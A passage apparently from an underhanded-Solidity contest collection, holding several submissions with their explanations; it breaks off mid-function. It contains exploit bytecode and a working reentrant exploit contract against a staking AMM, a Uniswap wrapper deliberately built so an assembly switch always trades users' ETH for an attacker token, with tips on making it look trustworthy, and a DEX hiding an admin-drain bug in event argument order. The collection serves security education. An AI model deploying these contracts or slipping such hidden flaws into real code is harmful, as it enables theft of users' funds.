0x608060405234801561001057600080fd5b50610433806100206000396000f3fe6080604052600436106100295760003560e01c80633a4b66f11461002e578063d207604d14610038575b600080fd5b61003661004b565b005b610036610046366004610267565b610072565b600254156100705760028054906000610063836102b9565b91905055506100706100b4565b565b600080546001600160a01b038086166001600160a01b031992831617909255600180549285169290911691909117905560028190556100af6100b4565b505050565b60408051600180825281830190925260009160208083019080368337505060015482519293506001600160a01b0316918391506000906100f6576100f66102d0565b6001600160a01b039290921660209283029190910190910152604080516001808252818301909252600091816020015b60608152602001906001900390816101265790505090506101484260016102e6565b6040805160208101929092526fffffffffffffffffffffffffffffffff30169082015260600160405160208183030381529060405281600081518110610190576101906102d0565b602090810291909101015260408051600180825281830190925260009181602001602082028036833701905050905034816000815181106101d3576101d36102d0565b60209081029190910101526000546040516313be2c6360e11b81526001600160a01b039091169063277c58c690349061021490879087908790600401610339565b6000604051808303818588803b15801561022d57600080fd5b505af1158015610241573d6000803e3d6000fd5b5050505050505050565b80356001600160a01b038116811461026257600080fd5b919050565b60008060006060848603121561027c57600080fd5b6102858461024b565b92506102936020850161024b565b9150604084013590509250925092565b634e487b7160e01b600052601160045260246000fd5b6000816102c8576102c86102a3565b506000190190565b634e487b7160e01b600052603260045260246000fd5b600082198211156102f9576102f96102a3565b500190565b600081518084526020808501945080840160005b8381101561032e57815187529582019590820190600101610312565b509495945050505050565b606080825284519082018190526000906020906080840190828801845b8281101561037b5781516001600160a01b031684529284019290840190600101610356565b50505083810382850152855180825282820190600581901b8301840188850160005b8381101561040457601f19808785030186528251805180865260005b818110156103d4578281018b01518782018c01528a016103b9565b818111156103e55760008b83890101525b5096890196601f0190911693909301870192509086019060010161039d565b5050868103604088015261041881896102fe565b9a995050505050505050505056fea164736f6c6343000809000a
## Salt
000000000000000000000000000000000000000000000000000000004dcd27b5
## Generated Address
0x00000000125fd11e858acfe3af6797cc16976612
# Summary
This entry aims to show how Solidity serializes data and how low-level function call works. Also it hints to the characteristics of entropy when generating deterministic addresses. In particular:
- Basic data types like **uint128**, **bool** or **address** are serialized as **uint256** values
- When using low-level call, even through _OpenZeppelin_ `Address.functionCall()`, the type or size of parameters is NOT checked. This particularly means that you can pass more data than needed to the function call and it will be accepted.
- It is possible for an attacker to generate `Create2` addressess that fit in less than 160-bits
- Check carefully all the implications derived from the use of functions by unpriviledged users
- Order of checks in if...else may be important when working with serialized data
Hope you liked it! I definitely had a lot of fun with it :)
================================================
FILE: 2022/submissions_2022/submission7_RobertoCano/EXPLOIT/VeryCoolAMMExploit.sol
================================================
//SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.0;
import "hardhat/console.sol";
interface IVeryCoolPeryphery {
function deposit(
address[] calldata pools,
bytes[] calldata params,
uint256[] calldata sendValues
) external payable;
}
contract VeryCoolAMMExploit {
address private veryCoolAMM;
address private ethPool;
uint256 private doAgainTimes;
function exploit(
address _veryCoolAMM,
address _ethPool,
uint256 _doAgainTimes
) external payable {
veryCoolAMM = _veryCoolAMM;
ethPool = _ethPool;
doAgainTimes = _doAgainTimes;
_callVeryCoolAMM();
}
function stake() external payable {
if (doAgainTimes > 0) {
doAgainTimes--;
_callVeryCoolAMM();
}
}
function _callVeryCoolAMM() internal {
address[] memory pools = new address[](1);
pools[0] = ethPool;
bytes[] memory paramsList = new bytes[](1);
paramsList[0] = abi.encode(block.timestamp + 1, uint128(uint160(address(this))));
uint256[] memory values = new uint256[](1);
values[0] = msg.value;
IVeryCoolPeryphery(veryCoolAMM).deposit{ value: msg.value }(pools, paramsList, values);
}
}
================================================
FILE: 2022/submissions_2022/submission7_RobertoCano/README.md
================================================
# The Context
A third party staking protocol is greatly rewarding whales that stake a lot of their ETH onto one of their contracts, while rewarding poorly the smaller investors. The more percentage of ETH you have there compared to the rest of the stakers, the more percentage of rewards you get from the whole pool.
The very cool new kids on the block know that Quadratic funding is the hype nowadays, and they've seen an opportunity there. They have created an AMM with regular staking pools plus an aggregated ETH staking pool. They have called it the Very Cool AMM. The ETH staking pool will add ETH to the third party pool from a single contract in the protocol, thus increasing the percentage of ETH staked for that single account and thus becoming a whale! The received rewards will be divided percentually to the staker of the Very Cool protocol. Huge rewards are expected from the aggregated ETH staking pool!
For now there is only one aggregated ETH staking pool in the protocol, controlled by the team. The users can add their own regular staking pools to the system or use the pre-existing ones, the team doesn't care. As far as the big juicy aggregated ETH pool gets bigger and bigger!
You get a look at the contracts: they seem simple and they seem to follow good practices. But...what is that? Is that what you think? The Big Juicy ETH Pool just got even juicier!
# How it works
The entry point of the system is the `VeryCoolperiphery` contract. The pools are owned by the periphery contract and users of the protocol must always go through the periphery contract to interact with the pools. The protocol has a default ETH pool, created inside the periphery contract, and users can add token pools through the periphery.
Users can prepare several deposit orders in the frontend for either the ETH pool or one of the tokens pools. The frontend will call `getEncodedData()` on the appropriate pool contract to get the encoded data for each deposit. It will then call the periphery contract `deposit()` to execute the list of deposits. The user can withdraw from the token pools at any time by calling the periphery `withdraw()` function. Users can only withdraw from the ETH pool by calling the `withdraw()` function after the required amount of time (short stake or long stake). The third party protocol takes into account the staking time to give even more rewards for long staking.
# License
MIT
================================================
FILE: 2022/submissions_2022/submission7_RobertoCano/VeryCoolPeriphery.sol
================================================
//SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "./VeryCoolPoolTokens.sol";
import "./VeryCoolPoolETH.sol";
/**
Main contract of the protocol. Helps deposit and withdraw from the pools
It allows for multi-deposit in one single transaction for gas saving
*/
contract VeryCoolPeryphery is Ownable {
using Address for address;
uint256 public constant SHORT_STAKING_TIME = 10 days;
uint256 public constant LONG_STAKING_TIME = 40 days;
mapping(address => bool) public isETHPool;
mapping(address => bool) public isTokenPool;
address public defaultETHStaker;
address public defaultTokenStaker;
VeryCoolPoolETH public defaultETHPool;
constructor(address ethStaker, address tokenStaker) {
defaultETHStaker = ethStaker;
defaultTokenStaker = tokenStaker;
defaultETHPool = new VeryCoolPoolETH();
isETHPool[address(defaultETHPool)] = true;
}
function addETHPool(address pool) external onlyOwner {
isETHPool[pool] = true;
}
function addTokenPool(address pool) external {
// Ownership of the pool must be transferred to this contract
isTokenPool[pool] = true;
}
/**
Allows to deposit on several pools on one single transaction
*/
function deposit(
address[] calldata pools,
bytes[] calldata params,
uint256[] calldata sendValues
) external payable {
require(pools.length == params.length, "Number of pools and parameters must match");
require(pools.length == sendValues.length, "Number of pools and send values must match");
for (uint256 i = 0; i < pools.length; ++i) {
bytes memory depositCall = _getCallData(pools[i], params[i]);
pools[i].functionCallWithValue(depositCall, sendValues[i], "ERROR depositing funds");
}
}
function _getSelector(address pool) internal view returns (bytes4) {
if (isETHPool[pool]) {
return VeryCoolPoolETH.deposit.selector;
} else if (isTokenPool[pool]) {
return VeryCoolPoolTokens.deposit.selector;
} else {
revert("Unknown pool");
}
}
function _getCallData(address pool, bytes calldata params) internal view returns (bytes memory) {
bytes4 selector = _getSelector(pool);
if (isTokenPool[pool]) {
(uint128 amountA, uint128 amountB) = abi.decode(params, (uint128, uint128));
return abi.encodeWithSelector(selector, _msgSender(), amountA, amountB, defaultTokenStaker);
} else if (isETHPool[pool]) {
bool longStake = abi.decode(params, (bool));
uint256 endTimestamp = longStake
? (block.timestamp + LONG_STAKING_TIME)
: (block.timestamp + SHORT_STAKING_TIME);
return abi.encodeWithSelector(selector, _msgSender(), endTimestamp, defaultETHStaker);
} else {
revert("Unknown pool");
}
}
function withdraw(address pool) external {
if (isETHPool[pool]) {
IVeryCoolPoolETH(pool).withdraw(payable(_msgSender()), defaultETHStaker);
} else if (isTokenPool[pool]) {
IVeryCoolPoolTokens(pool).withdraw(_msgSender(), defaultTokenStaker);
} else {
revert("Unknown pool");
}
}
}
================================================
FILE: 2022/submissions_2022/submission7_RobertoCano/VeryCoolPoolETH.sol
================================================
//SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
interface ThirdPartyETHPool {
function stake() external payable;
function withdraw(uint256 amount) external;
}
interface IVeryCoolPoolETH {
function withdraw(address payable from, address staker) external;
}
contract VeryCoolPoolETH is Ownable {
using Address for address payable;
mapping(address => uint256) public balanceOf;
mapping(address => uint256) public withdrawalEndTs;
function getEncodedData(bool longStake) external pure returns (bytes memory) {
return abi.encode(longStake);
}
function deposit(
address from,
uint256 endTimestamp,
address staker
) external payable onlyOwner {
require(endTimestamp >= block.timestamp, "End timestamp is in the past");
require(endTimestamp >= withdrawalEndTs[from], "End timestamp is before previous withdrawal");
require(msg.value > 0, "No ETH sent for deposit");
balanceOf[from] += msg.value;
withdrawalEndTs[from] = endTimestamp;
ThirdPartyETHPool(staker).stake{ value: msg.value }();
}
function withdraw(address payable from, address staker) external onlyOwner {
uint256 amount = balanceOf[from];
require(amount > 0, "No ETH to withdraw");
require(withdrawalEndTs[from] <= block.timestamp, "Cannot withdraw before end of staking period");
// Original stake + rewards is returned from the third-party
ThirdPartyETHPool(staker).withdraw(amount);
from.sendValue(amount);
}
}
================================================
FILE: 2022/submissions_2022/submission7_RobertoCano/VeryCoolPoolTokens.sol
================================================
//SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
interface TokenStaker {
function stake(address token, uint256 amount) external;
function withdraw(address token, uint256 amount) external;
}
interface IVeryCoolPoolTokens {
function withdraw(address from, address staker) external;
}
// Standard Liquidity Pool ala Uniswap plus Staking on Third Party. Only important logic
// is shown:
// - Users staking and getting LP tokens will receive fees back
// - Third party also generates rewards on LP tokens
//
contract VeryCoolPoolTokens is ERC20Burnable, Ownable {
using SafeERC20 for IERC20;
IERC20 public tokenA;
IERC20 public tokenB;
mapping(address => uint256) public balanceOfA;
mapping(address => uint256) public balanceOfB;
constructor(address _tokenA, address _tokenB) ERC20("VeryCoolLP", "VCLP") {
tokenA = IERC20(_tokenA);
tokenB = IERC20(_tokenB);
}
function getEncodedData(uint128 amountA, uint128 amountB) external pure returns (bytes memory) {
return abi.encode(amountA, amountB);
}
function deposit(
address from,
uint128 amountA,
uint128 amountB,
address staker
) external onlyOwner {
balanceOfA[from] += amountA;
balanceOfB[from] += amountB;
// Very simple LP generation!
uint256 lpAmount = amountA + amountB;
_mint(address(this), amountA + amountB);
_approve(address(this), staker, lpAmount);
tokenA.safeTransferFrom(from, address(this), amountA);
tokenB.safeTransferFrom(from, address(this), amountB);
TokenStaker(staker).stake(address(this), lpAmount);
}
function withdraw(address from, address staker) external onlyOwner {
uint256 amount = balanceOf(from);
TokenStaker(staker).withdraw(address(this), amount);
_burn(from, amount);
uint256 amountA = balanceOfA[from];
uint256 amountB = balanceOfB[from];
tokenA.safeTransfer(from, amountA);
tokenB.safeTransfer(from, amountB);
}
}
================================================
FILE: 2022/submissions_2022/submission8_MartínAbbatemarco/README.md
================================================
# Wrappers
Do you know what DeFi needs ? I'll tell you what DeFi needs.
DeFi needs _in cen tives_. We're not changing the world yet, we're not onboarding the millions of users we want.
And you know what ? Top DEXes such as Uniswap are not doing anything to help onboard the masses.
But we are. Hell we are.
Plain and simple: we're paying ETH to folks using our wrapper built on top of Uniswap V2 pools. No memecoin, no pump-and-dump schemes. You swap using the wrapper, we reward you with good old ETH. This is our contribution to bring the next generation of users into DeFi.
Following our auditors recommendations, the wrapper supports blue-chip stablecoins: DAI, USDC and USDT. Simply select which one you want. You can also provide the usual parameters you'd see in Uniswap V2.
If you don't like these coins, but still want to try this contract, you can use it to buy our recently launched stablecoin STL. But since our coin is still experimental, we're only paying rewards for swaps in DAI, USDC and USDT - coins that everybody knows and trust.
The contract is dead simple, and all you need to do is call the `swapExactETHForTokens` function choosing the stablecoin and whatever parameters you want to pass to Uniswap.
Oh, and one last thing. Our wrapper is _fully permissionless_. We don't have any powers over the contract. Once we deploy it, it'll be live _forever_. Of course we will be continuosuly providing ETH to the contract so that rewards are always paid - but _anybody_ in the community can do it if we can't. And if for any reason there's no rewards available, don't worry, you can still use it.
Happy swapping!
================================================
FILE: 2022/submissions_2022/submission8_MartínAbbatemarco/SPOILER.md
================================================
# Beware, spoilers below!
The `UniswapWrapper` contract is fundamentally broken. At least for its legitimate users.
If you ever try to swap any legitimate stablecoin on it, you will notice that you _never_ receive DAI, USDC or USDT for the ETH that you send. Instead, you'll always trade ETH for the scammy STL token.
The whole attack vector would develop as follows:
1. The attacker deploys a simple ERC20 token (I called it STL but a real scenario woul be something less suspicious of course).
2. The attacker creates a Uniswap pair with ETH-STL, providing some amount of initial liquidity.
3. The attacker deploys the wrapper, promotes it, and waits.
4. As soon as well-intended users use the wrapper, they will give away ETH and receive STL (regardless of whatever legitimate stablecoin they chose in the function call).
5. The attacker backruns the user's transaction, and executes the opposite swap in the Uniswap pool, getting the user's ETH.
This is _one_ possible attack vector. This wrapper essentially allows an attacker to trick users into swapping ETH for any token. There are might be other evil scenarios for an attacker to explore, not necessarily involving a custom fully attacker-controlled token.
In any case, let's see below why does this even work in the first place.
## Technical details
The user "chooses" the token they want to receive by passing a `bytes4` parameter called `tokenSelector` to the `swapExactETHForTokens` function.
The function appears to then match this parameter against three cases: `0x6B175474`, `0xdAC17F95` and `0xA0b86991` (respectively the first 4 bytes of DAI, USDT and USDC addresses on mainnet). If there's no match, it goes to the default case.
~~~
function swapExactETHForTokens(
bytes4 tokenSelector,
...
assembly {
switch tokenSelector
case 0x6B175474 {
tokenOut := DAI
reward := REWARD
}
case 0xdAC17F95 {
tokenOut := USDT
reward := REWARD
}
case 0xA0b86991 {
tokenOut := USDC
reward := REWARD
}
default { // STL
tokenOut := stlAddress
}
}
...
}
~~~
Let's use the DAI's case. At first sight, one could think that if `tokenSelector` is set to `0x6B175474` in the call, then it'd match the first case. As a consequence, the `tokenOut` variable would be set to the address stored at `DAI`, the reward would be assigned, and the trade would therefore be made against the ETH-DAI pair in Uniswap. However, this is not what the EVM actually executes.
The root cause of the problem is in what is actually being compared by the EVM in the `switch`, when `tokenSelector` and the literal `0x6B175474` are put to the test. If we analyze the opcodes executed and the stack contents and that point, we'll see the following:

_Compiled with solc 0.8.9+commit.e5eed63a without optimizations._
In short, the comparison between the contents of `tokenSelector` and the literal `0x6B175474` is performed with the `EQ` opcode, which reads the first two stack elements. As seen in the image above, these are: `0x6b17547400000000000000000000000000000000000000000000000000000000` and `0x000000000000000000000000000000000000000000000000000000006b175474`.
The problem is now obvious! The padding between what comes in calldata (at the top of the stack) and the literal is opposite, and therefore these elements cannot ever be considered equal by the EVM. The same occurs for the comparisons in the remaining two cases of the `switch`.
Therefore, regardless of what user's choice in the `tokenSelector` parameter is (either `0x6B175474`, `0xdAC17F95` or `0xA0b86991`), execution is going to end up in the `default` scenario, where the scammy token address is set and no rewards are assigned.
## Discussion and comments on implementation
These days DeFi seems to be a lot about building _on top_ of existing trusted protocols, such as Uniswap. So instead of building a flawed DEX from scratch, I decided to something a bit different. I built a flawed wrapper for swaps on top of a known and legitimate DEX.
Wrappers for token swaps that are too complex may be suspicious, so I wanted to have a minimal implementation that raised as little alarms as possible. That's why the contract has a single entrypoint which takes quite similar parameters to those as Uniswap (the notable difference being the selector needed to choose the stablecoin to swap).
The use of assembly could be seen as a suspicious thing. Advanced users may bring its attention to further inspect it. However, even looking at it closely, there isn't any scary low-level operations being performed. Most importantly, its usage can be justified given the lack of a higher-level `switch` statement in Solidity.
Another red flag could be the use of a hex literal in the `switch`. Which could further scare casual readers. Nonetheless, by using the first part of an address it's possible to make it look as familiar as possible. That's why instead of choosing from numbered options or something similar, the user chooses using the first bytes of the stablecoin's address. These are the usual bytes of an address lots of people are used to look at when executing trades. Also, making the user specify (part of) the address of the token they want to receive may reinforce the idea that they're really choosing and in full control of the trade.
Notably, the scenario would also work if the `tokenSelector` was a `bytes20` type, and the literal hex in the `switch` cases represented the full addresses of the tokens. As an advantage, one could argue that the literals would look _exactly_ the same as the addresses, which could further increase chances of deceiving users. However, I decided to go with a `bytes4` selector for a couple of reasons that I think outweigh this advantage. First, the use of `bytes20`, instead of simply `address`, would be difficult to support. It's really uncommon to find `bytes20` in usual Solidity code. Second, more advanced users are used to seeing and using 4-byte selectors (due to 4-byte function selectors). So the idea of selecting something using 4 bytes is not strange for many. Finally, the scammers could further support the use of `bytes4` instead of something bigger just for gas efficiency reasons.
As a final remark, it's probably worth highlighting that any rewards that are deposited in the contract are forever lost. Still, the attacker could deposit some ETH to make it look like there's at least a pot of ETH freely available to reward users.
================================================
FILE: 2022/submissions_2022/submission8_MartínAbbatemarco/UniswapWrapper.sol
================================================
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import '@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol';
/// @title UniswapWrapper
/// @notice A wrapper contract that allows trading tokens on Uniswap V2, incentivizing users to trade on blue-chip stablecoins by paying rewards in ETH.
contract UniswapWrapper {
// Tokens supported by the wrapper
address public constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
address public constant USDT = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
address public constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
address public immutable STL;
// Address of Uniswap V2's router
address public constant router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
// Rewards for using the wrapper to buy USDC, USDT or DAI
uint256 public constant REWARD = 0.87 ether;
constructor(address _stableTokenAddress) {
STL = _stableTokenAddress;
}
/// @notice Wrapper over Uniswap V2 pools to swap ETH for a stablecoin.
/// Caller can choose the output token using the `tokenSelector` parameter indicating
/// the first 4 bytes of the address of the desired token.
function swapExactETHForTokens(
bytes4 tokenSelector,
uint256 amountOutMin,
address to,
uint256 deadline
) external payable {
// Copy to local variable to later be able to access in assembly
// Because we cannot access an immutable from assembly.
address stlAddress = STL;
address tokenOut;
uint256 reward;
// Choose trading pair and assign reward according to user input.
// Solidity doesn't support a higher-level `switch`, so we have to
// use assembly to select the token.
assembly {
switch tokenSelector
case 0x6B175474 { // First 4 bytes of DAI's address
tokenOut := DAI
reward := REWARD
}
case 0xdAC17F95 { // First 4 bytes of USDT's address
tokenOut := USDT
reward := REWARD
}
case 0xA0b86991 { // First 4 bytes of USDC's address
tokenOut := USDC
reward := REWARD
}
default { // Default to STL, without rewards
tokenOut := stlAddress
}
}
// Build the right path for the swap
address[] memory path = new address[](2);
path[0] = IUniswapV2Router02(router).WETH();
path[1] = tokenOut;
// Execute swap using Uniswap V2 Router.
// See https://docs.uniswap.org/protocol/V2/guides/smart-contract-integration/trading-from-a-smart-contract
IUniswapV2Router02(router).swapExactETHForTokens{value: msg.value}(
amountOutMin,
path,
to,
deadline
);
// Pay caller its well-deserved reward
if(reward > 0 && address(this).balance >= reward) {
payable(msg.sender).transfer(reward);
}
}
// Allow funding the contract with ETH to pay rewards
receive() external payable {}
}
================================================
FILE: 2022/submissions_2022/submission9_TynanRichards/README.md
================================================
# Dexploit
Essentially a uniswap-style DEX implementation. Trades are calculated with a constant product formula.
## Trading
Assume the exchange currently has a balance of `x` tokenA and `y` tokenB. If a user trades `dx` amount of tokenA to tokenB, they will receive an amount `dy` so that the product of the balances remains the same. `x*y = (x+dx)*(y-dy)`. Of course, the exchange wants to make a profit, so we charge a fee on the outgoing amount. So the user only receives 99% of dy, the rest remains in the contract.
## Liquidity
The current value of the pool is estimated as the geometric mean of the underlying balances. `sqrt(x*y)`
If users want to deposit their tokens into the contract to share in the exchange's profits, they can add them to the liquidity pool using `addLiquidity`. They will receive a `balance` proportional to the increase in liquidity due to their deposit.
Later, they can withdraw their deposited tokens again. They can withdraw an amount of tokens proportional to the amount of liquidity they own, hence if the underlying balances increase in proportion to the liquidity (via the contract collecting fees), the user can withdraw more funds than they initially deposited.
## Admin fees
A portion of the fees that go to the liquidity pool are apportioned to the admin / owner of the contract. When they claim their fees, they receive a percentage of the increase in liquidity since the last time they claimed fees. So, if the admin fee is 1%, and the liquidity has increased by 20% since the last claim, the admin will receive funds equivalent to 0.2% of the liquidity.
Additionally, the admin can change the admin fee. When they do this, they will be locked out of claiming fees for a week, so that liquidity providers have a chance to withdraw their funds before the (higher) admin fee can be claimed.
## Explanation of math functions
In order to estimate the value of the liquidity pool, the geometric mean of two numbers needs to be calculated. Hence, we need to be able to take the square root of a number. We do this via Newton's method, where we iteratively improve our guess.
Newton's method allows us to find zeroes of a function. Therefore, we need a function which is 0 when its input is the square root of our number. We will use `f(x) = x^2 - y`, where y is the number we want to take the square root of.
We start with an initial guess (which is explained later). Then, we iteratively improve our guess using the following formula:
`x_n+1 = x_n - f(x_n) / f'(x_n)` (where f' is the derivative of x)
We can transform this formula into the following:
`x_n+1 = (x_n * x_n + y) / (2 * x_n)`
The more often we improve our guess, the closer our final result will be to the actual square root of `y`. For our purposes, we chose to improve the guess over 5 iterations, as this gave an accuracy to 20+ decimal places, which is plenty.
How do we come up with our initial guess? Well, we can easily take the square root of a number by dividing its logarithm by 2. To get the logarithm (base 2) of a binary number, we can just count its digits. However, this will give us the *truncated* result, whereas we want the number closest to the actual value. Hence, we first multiply our number by the square root of 2, in order to increase the resulting logarithm by 0.5. Thus, when the result is truncated, we will receive the rounded logarithm of the initial number.
In summary, we approximate the log base 2 of `y` a number by calculating:
`log = floor(log_2(y * sqrt(2)))`
To get our guess for the square root of `y`, we then calculate:
`guess = 2^(log / 2)`
================================================
FILE: 2022/submissions_2022/submission9_TynanRichards/SPOILERS.md
================================================
# Explanation of the exploit
The exploit in this contract stems from the unspecified evaluation of nested Solidity expressions. Essentially, the evaluation order of a statement such as:
`x = f(g(...), h(...))`
does not have a specified evaluation order. Hence, the compiler can choose whether to evaluate `g` or `h` first. In most cases, it chooses to evaluate left-to-right, which is likely what most developers expect. However, in two specific cases it differs from that expectation.
Firstly, for `addmod` and `mulmod`, the arguments are evaluated right-to-left. The reason for this is likely to revert earlier if the last argument is 0. In the following example, the arguments are evaluated in the order: `h(...) -> g(...) -> f(...)`
`addmod(f(...), g(...), h(...))`
Next, the evaluation order of events is bizarre. The *indexed* parameters are evaluated first in right-to-left order, then the non-indexed parameters are evaluated left-to-right. In the following example, the arguments are evaluated in the order `f(c) -> f(a) -> f(b) -> f(d)`
`Event Hello(uint256 indexed a, uint256 b, uint256 indexed c, uint256 d);`
`emit Hello(f(a), f(b), f(c), f(d))`
Of course, in almost all cases this will be irrelevant. The outcome only differs from the intuitive expectation if the parameters have conflicting side effects. As an example:
`addmod(i, 4, i++)`
Here, `i` is incremented in the last parameter before it is used in the first. Hence, the result will be `5` and not `4`.
## The actual exploit
The exploit lies in the following code segment:
```solidity
event AdminFeeChanged(uint256 indexed oldFee, uint256 indexed newFee);
function changeAdminFees(uint256 newAdminFee) external onlyAdmin nonReentrant {
emit AdminFeeChanged(retireOldAdminFee(), setNewAdminFee(newAdminFee));
}
function retireOldAdminFee() internal returns (uint256) {
// Claim admin fee before changing it
_claimAdminFees();
// Let people withdraw their funds if they don't like the new fee
nextFeeClaimTimestamp = block.timestamp + 7 days;
return adminFee;
}
function setNewAdminFee(uint256 newAdminFee) internal returns (uint256) {
adminFee = newAdminFee;
return newAdminFee;
}
```
Because the event parameters are indexed, they are evaluated right-to-left. Hence, the new admin fee is set before the old one is retired. As a result, `_claimAdminFees` will use the new admin fee instead of the old one. This circumvents the one week waiting period after changing the admin fees, which is only enacted after the "previous" fees were claimed.
As there is no cap on the new fee, the admin can provide a value over 100% and drain the underlying balances (assuming the contract has accrued some liquidity).
================================================
FILE: 2022/submissions_2022/submission9_TynanRichards/dexploit.sol
================================================
// SPDX-License-Identifier: UNLICENSED
pragma solidity =0.8.12;
interface ERC20 {
// We only need these functions, the rest don't matter
function balanceOf(address account) external view returns (uint256);
function transfer(address receiver, uint256 amount) external returns (bool);
function transferFrom(address sender, address receiver, uint256 amount) external returns (bool);
}
contract Dexploit {
uint256 private constant ONE = 10**18;
address public admin;
uint256 public adminFee;
uint256 private accruedLiquiditySinceLastClaim;
uint256 public nextFeeClaimTimestamp;
modifier onlyAdmin() {
require(msg.sender == admin);
_;
}
uint256 constant private unlocked = 1;
uint256 constant private locked = 0;
uint256 private lock = unlocked;
// Slap this bad boy on all external functions because why not
modifier nonReentrant() {
require(lock == unlocked);
lock = locked;
_;
lock = unlocked;
}
constructor(address tokenA, address tokenB) {
admin = msg.sender;
adminFee = 0.01 * 10**18;
liquidityFee = 0.01 * 10**18;
underlyingA = ERC20(tokenA);
underlyingB = ERC20(tokenB);
}
event AdminFeeChanged(uint256 indexed oldFee, uint256 indexed newFee);
function changeAdminFees(uint256 newAdminFee) external onlyAdmin nonReentrant {
emit AdminFeeChanged(retireOldAdminFee(), setNewAdminFee(newAdminFee));
}
function retireOldAdminFee() internal returns (uint256) {
// Claim admin fee before changing it
_claimAdminFees();
// Let people withdraw their funds if they don't like the new fee
nextFeeClaimTimestamp = block.timestamp + 7 days;
return adminFee;
}
function setNewAdminFee(uint256 newAdminFee) internal returns (uint256) {
adminFee = newAdminFee;
return newAdminFee;
}
event AdminFeeClaimed(address indexed receiver, uint256 feeAmount);
function claimAdminFees() external onlyAdmin nonReentrant {
_claimAdminFees();
}
function _claimAdminFees() internal {
require(block.timestamp >= nextFeeClaimTimestamp, "You must wait a week after changing fees to claim.");
// Refund :D
nextFeeClaimTimestamp = 0;
uint256 amountAccrued = accruedLiquiditySinceLastClaim;
if (amountAccrued == 0) return;
uint256 _balanceA = balanceA;
uint256 _balanceB = balanceB;
// Can only claim in balanced proportions
uint256 feeAmount = (amountAccrued * adminFee) / ONE;
uint256 liquidity = geometricMean(_balanceA, _balanceB);
uint256 amountA = (feeAmount * _balanceA) / liquidity;
uint256 amountB = (feeAmount * _balanceB) / liquidity;
// Update balances
accruedLiquiditySinceLastClaim = 0;
balanceA = _balanceA - amountA;
balanceB = _balanceB - amountB;
// Transfer funds out
transferFundsOut(underlyingA, amountA);
transferFundsOut(underlyingB, amountB);
emit AdminFeeClaimed(admin, feeAmount);
}
// +----------------------------+
// | External Public Operations |
// +----------------------------+
ERC20 public immutable underlyingA;
ERC20 public immutable underlyingB;
uint256 public balanceA;
uint256 public balanceB;
uint256 public totalSupply;
uint256 public liquidityFee;
mapping(address => uint256) public balances;
function trade(uint256 amountIn, bool fromUnderlyingB) external nonReentrant returns (uint256) {
ERC20 underlyingFrom = underlyingA;
ERC20 underlyingTo = underlyingB;
uint256 balanceFrom = balanceA;
uint256 balanceTo = balanceB;
if (fromUnderlyingB) {
(underlyingFrom, underlyingTo) = (underlyingTo, underlyingFrom);
(balanceFrom, balanceTo) = (balanceTo, balanceFrom);
}
// Transfer amount in
uint256 receivedAmount = transferFundsIn(underlyingFrom, amountIn);
// Constant product formula
// Invariants:
// balanceFrom * balanceTo = newToBalance * newFromBalance
// balanceFrom + receivedAmount = newFromBalance
uint256 product = balanceFrom * balanceTo;
uint256 newFromBalance = balanceFrom + receivedAmount;
uint256 newToBalance = product / newFromBalance;
uint256 amountOut = balanceTo - newToBalance;
// Charge fees
uint256 feeAmount = (amountOut * liquidityFee) / ONE;
newToBalance += feeAmount;
amountOut -= feeAmount;
// Remember liquidity increase for admin fees later
uint256 liquidityBefore = geometricMean(balanceFrom, balanceTo);
uint256 liquidityAfter = geometricMean(newFromBalance, newToBalance);
uint256 liquidityIncrease = liquidityAfter - liquidityBefore;
accruedLiquiditySinceLastClaim += liquidityIncrease;
// Update balances
if (fromUnderlyingB) {
(newFromBalance, newToBalance) = (newToBalance, newFromBalance);
}
balanceA = newFromBalance;
balanceB = newToBalance;
// transfer amount out
transferFundsOut(underlyingTo, amountOut);
return amountOut;
}
// Note: Currently, you can add liquidity underlyingA, then remove liquidity of underlyingB to avoid trading fees
function addLiquidity(uint256 amountA, uint256 amountB) external nonReentrant returns(uint256) {
uint256 _balanceA = balanceA;
uint256 _balanceB = balanceB;
uint256 _totalSupply = totalSupply;
// Transfer funds in
uint256 amountAIn = amountA == 0 ? 0 : transferFundsIn(underlyingA, amountA);
uint256 amountBIn = amountB == 0 ? 0 : transferFundsIn(underlyingB, amountB);
// Calculate change in liquidity and totalSupply
uint256 liquidityBefore = geometricMean(_balanceA, _balanceB);
uint256 liquidityAfter = geometricMean(_balanceA + amountAIn, _balanceB + amountBIn);
uint256 totalSupplyAfter;
if (_totalSupply == 0) {
totalSupplyAfter = liquidityAfter;
} else {
totalSupplyAfter = (_totalSupply * liquidityAfter) / liquidityBefore;
}
uint256 totalSupplyIncrease = totalSupplyAfter - _totalSupply;
// Update balances
balances[msg.sender] += totalSupplyIncrease;
totalSupply = totalSupplyAfter;
balanceA = _balanceA + amountAIn;
balanceB = _balanceB + amountBIn;
return totalSupplyIncrease;
}
// Note: Currently it's almost impossible to withdraw entire deposited funds
function removeLiquidity(uint256 amountA, uint256 amountB) external nonReentrant returns(uint256) {
uint256 _balanceA = balanceA;
uint256 _balanceB = balanceB;
uint256 _totalSupply = totalSupply;
// Calculate change in liquidity and totalSupply
uint256 liquidityBefore = geometricMean(_balanceA, _balanceB);
uint256 liquidityAfter = geometricMean(_balanceA - amountA, _balanceB - amountB);
uint256 totalSupplyAfter = (_totalSupply * liquidityAfter) / liquidityBefore;
uint256 totalSupplyDecrease = _totalSupply - totalSupplyAfter;
// Make sure sender has enough balance
uint256 senderBalance = balances[msg.sender];
require(senderBalance >= totalSupplyDecrease, "Not enough balance");
// Update balances
balances[msg.sender] = senderBalance - totalSupplyDecrease;
totalSupply = totalSupplyAfter;
balanceA = _balanceA - amountA;
balanceB = _balanceB - amountB;
// Transfer funds out
if (amountA > 0) {
